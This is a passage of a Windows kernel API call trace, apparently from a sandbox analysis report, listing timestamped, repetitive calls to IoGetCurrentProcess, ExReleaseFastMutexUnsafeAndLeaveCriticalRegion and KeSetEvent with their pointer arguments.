IoGetCurrentProcess () returned 0xffffe00001078440 [0180.020] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0180.020] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0181.175] IoGetCurrentProcess () returned 0xffffe00001078440 [0181.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0181.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0181.175] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0181.237] IoGetCurrentProcess () returned 0xffffe00001078440 [0181.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0181.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0181.238] IoGetCurrentProcess () returned 0xffffe00001078440 [0181.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0181.239] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0181.299] IoGetCurrentProcess () returned 0xffffe00001078440 [0181.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0181.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0181.300] IoGetCurrentProcess () returned 0xffffe00001078440 [0181.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0181.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0181.363] IoGetCurrentProcess () returned 0xffffe00001078440 [0181.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0181.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0181.363] IoGetCurrentProcess () returned 0xffffe00001078440 [0181.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0181.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0181.426] IoGetCurrentProcess () returned 0xffffe00001078440 [0181.426] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0181.426] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0181.426] IoGetCurrentProcess () returned 0xffffe00001078440 [0181.427] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0181.427] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0181.879] IoGetCurrentProcess () returned 0xffffe00001078440 [0181.879] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0181.879] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0181.879] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0182.722] IoGetCurrentProcess () returned 0xffffe00001078440 [0182.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0182.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0182.722] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0182.785] IoGetCurrentProcess () returned 0xffffe00001078440 [0182.786] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0182.786] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0182.786] IoGetCurrentProcess () returned 0xffffe00001078440 [0182.786] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0182.786] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0182.847] IoGetCurrentProcess () returned 0xffffe00001078440 [0182.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0182.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0182.847] IoGetCurrentProcess () returned 0xffffe00001078440 [0182.848] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0182.848] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0182.911] IoGetCurrentProcess () returned 0xffffe00001078440 [0182.911] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0182.911] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0182.911] IoGetCurrentProcess () returned 0xffffe00001078440 [0182.912] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0182.912] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0182.972] IoGetCurrentProcess () returned 0xffffe00001078440 [0182.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0182.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0182.972] IoGetCurrentProcess () returned 0xffffe00001078440 [0182.973] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0182.973] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.035] IoGetCurrentProcess () returned 0xffffe00001078440 [0183.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.035] IoGetCurrentProcess () returned 0xffffe00001078440 [0183.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.036] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.097] IoGetCurrentProcess () returned 0xffffe00001078440 [0183.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.098] IoGetCurrentProcess () returned 0xffffe00001078440 [0183.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.159] IoGetCurrentProcess () returned 0xffffe00001078440 [0183.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.159] IoGetCurrentProcess () returned 0xffffe00001078440 [0183.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.222] IoGetCurrentProcess () returned 0xffffe00001078440 [0183.223] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.223] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.223] IoGetCurrentProcess () returned 0xffffe00001078440 [0183.223] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.224] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.284] IoGetCurrentProcess () returned 0xffffe00001078440 [0183.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.284] IoGetCurrentProcess () returned 0xffffe00001078440 [0183.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.347] IoGetCurrentProcess () returned 0xffffe00001078440 [0183.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.348] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.348] IoGetCurrentProcess () returned 0xffffe00001078440 [0183.348] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.348] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.409] IoGetCurrentProcess () returned 0xffffe00001078440 [0183.410] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.410] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.410] IoGetCurrentProcess () returned 0xffffe00001078440 [0183.410] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.411] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.471] IoGetCurrentProcess () returned 0xffffe00001078440 [0183.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.472] IoGetCurrentProcess () returned 0xffffe00001078440 [0183.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.536] IoGetCurrentProcess () returned 0xffffe00001078440 [0183.536] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.537] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.537] IoGetCurrentProcess () returned 0xffffe00001078440 [0183.537] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.537] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.596] IoGetCurrentProcess () returned 0xffffe00001078440 [0183.596] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.596] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.597] IoGetCurrentProcess () returned 0xffffe00001078440 [0183.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.659] IoGetCurrentProcess () returned 0xffffe00001078440 [0183.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.659] IoGetCurrentProcess () returned 0xffffe00001078440 [0183.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.722] IoGetCurrentProcess () returned 0xffffe00001078440 [0183.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.722] IoGetCurrentProcess () returned 0xffffe00001078440 [0183.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0185.192] IoGetCurrentProcess () returned 0xffffe00001078440 [0185.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0185.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0185.192] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0185.255] IoGetCurrentProcess () returned 0xffffe00001078440 [0185.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0185.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0185.255] IoGetCurrentProcess () returned 0xffffe00001078440 [0185.256] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0185.256] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0185.316] IoGetCurrentProcess () returned 0xffffe00001078440 [0185.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0185.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0185.316] IoGetCurrentProcess () returned 0xffffe00001078440 [0185.317] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0185.317] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0185.379] IoGetCurrentProcess () returned 0xffffe00001078440 [0185.379] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0185.379] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0185.380] IoGetCurrentProcess () returned 0xffffe00001078440 [0185.380] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0185.380] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0185.442] IoGetCurrentProcess () returned 0xffffe00001078440 [0185.442] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0185.442] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0185.442] IoGetCurrentProcess () returned 0xffffe00001078440 [0185.442] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0185.443] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0186.065] IoGetCurrentProcess () returned 0xffffe00001078440 [0186.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0186.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0186.065] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0187.600] IoGetCurrentProcess () returned 0xffffe00001078440 [0187.600] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0187.600] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0187.600] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0187.957] IoGetCurrentProcess () returned 0xffffe00001078440 [0187.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0187.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0187.957] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0188.034] IoGetCurrentProcess () returned 0xffffe00001078440 [0188.034] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.034] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.034] IoGetCurrentProcess () returned 0xffffe00001078440 [0188.034] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.034] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.081] IoGetCurrentProcess () returned 0xffffe00001078440 [0188.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.081] IoGetCurrentProcess () returned 0xffffe00001078440 [0188.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.144] IoGetCurrentProcess () returned 0xffffe00001078440 [0188.145] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.145] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.145] IoGetCurrentProcess () returned 0xffffe00001078440 [0188.145] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.146] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.206] IoGetCurrentProcess () returned 0xffffe00001078440 [0188.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.206] IoGetCurrentProcess () returned 0xffffe00001078440 [0188.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.268] IoGetCurrentProcess () returned 0xffffe00001078440 [0188.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.269] IoGetCurrentProcess () returned 0xffffe00001078440 [0188.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.331] IoGetCurrentProcess () returned 0xffffe00001078440 [0188.332] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.332] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.332] IoGetCurrentProcess () returned 0xffffe00001078440 [0188.332] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.332] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.394] IoGetCurrentProcess () returned 0xffffe00001078440 [0188.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.394] IoGetCurrentProcess () returned 0xffffe00001078440 [0188.395] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.395] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.457] IoGetCurrentProcess () returned 0xffffe00001078440 [0188.457] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.457] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.457] IoGetCurrentProcess () returned 0xffffe00001078440 [0188.457] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.458] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.520] IoGetCurrentProcess () returned 0xffffe00001078440 [0188.520] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.520] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.520] IoGetCurrentProcess () returned 0xffffe00001078440 [0188.521] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.521] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.582] IoGetCurrentProcess () returned 0xffffe00001078440 [0188.582] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.582] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.582] IoGetCurrentProcess () returned 0xffffe00001078440 [0188.583] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.583] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.644] IoGetCurrentProcess () returned 0xffffe00001078440 [0188.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.645] IoGetCurrentProcess () returned 0xffffe00001078440 [0188.645] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.645] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.707] IoGetCurrentProcess () returned 0xffffe00001078440 [0188.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.708] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.708] IoGetCurrentProcess () returned 0xffffe00001078440 [0188.708] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.708] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.769] IoGetCurrentProcess () returned 0xffffe00001078440 [0188.770] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.770] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.770] IoGetCurrentProcess () returned 0xffffe00001078440 [0188.770] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.770] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.831] IoGetCurrentProcess () returned 0xffffe00001078440 [0188.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.832] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.832] IoGetCurrentProcess () returned 0xffffe00001078440 [0188.832] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.832] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.894] IoGetCurrentProcess () returned 0xffffe00001078440 [0188.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.894] IoGetCurrentProcess () returned 0xffffe00001078440 [0188.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.956] IoGetCurrentProcess () returned 0xffffe00001078440 [0188.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.957] IoGetCurrentProcess () returned 0xffffe00001078440 [0188.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0190.395] IoGetCurrentProcess () returned 0xffffe00001078440 [0190.395] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0190.396] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0190.396] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0190.456] IoGetCurrentProcess () returned 0xffffe00001078440 [0190.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0190.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0190.456] IoGetCurrentProcess () returned 0xffffe00001078440 [0190.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0190.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0190.518] IoGetCurrentProcess () returned 0xffffe00001078440 [0190.518] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0190.518] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0190.518] IoGetCurrentProcess () returned 0xffffe00001078440 [0190.518] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0190.518] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0190.581] IoGetCurrentProcess () returned 0xffffe00001078440 [0190.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0190.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0190.581] IoGetCurrentProcess () returned 0xffffe00001078440 [0190.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0190.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0190.644] IoGetCurrentProcess () returned 0xffffe00001078440 [0190.645] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0190.645] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0190.645] IoGetCurrentProcess () returned 0xffffe00001078440 [0190.645] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0190.645] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0190.847] IoGetCurrentProcess () returned 0xffffe00001078440 [0190.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0190.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0190.847] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0193.365] IoGetCurrentProcess () returned 0xffffe00001078440 [0193.366] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0193.366] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0193.366] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0193.378] IoGetCurrentProcess () returned 0xffffe00001078440 [0193.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0193.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0193.440] IoGetCurrentProcess () returned 0xffffe00001078440 [0193.440] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0193.440] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0193.440] IoGetCurrentProcess () returned 0xffffe00001078440 [0193.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0193.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0193.504] IoGetCurrentProcess () returned 0xffffe00001078440 [0193.504] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0193.504] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0193.504] IoGetCurrentProcess () returned 0xffffe00001078440 [0193.505] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0193.505] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0193.566] IoGetCurrentProcess () returned 0xffffe00001078440 [0193.566] 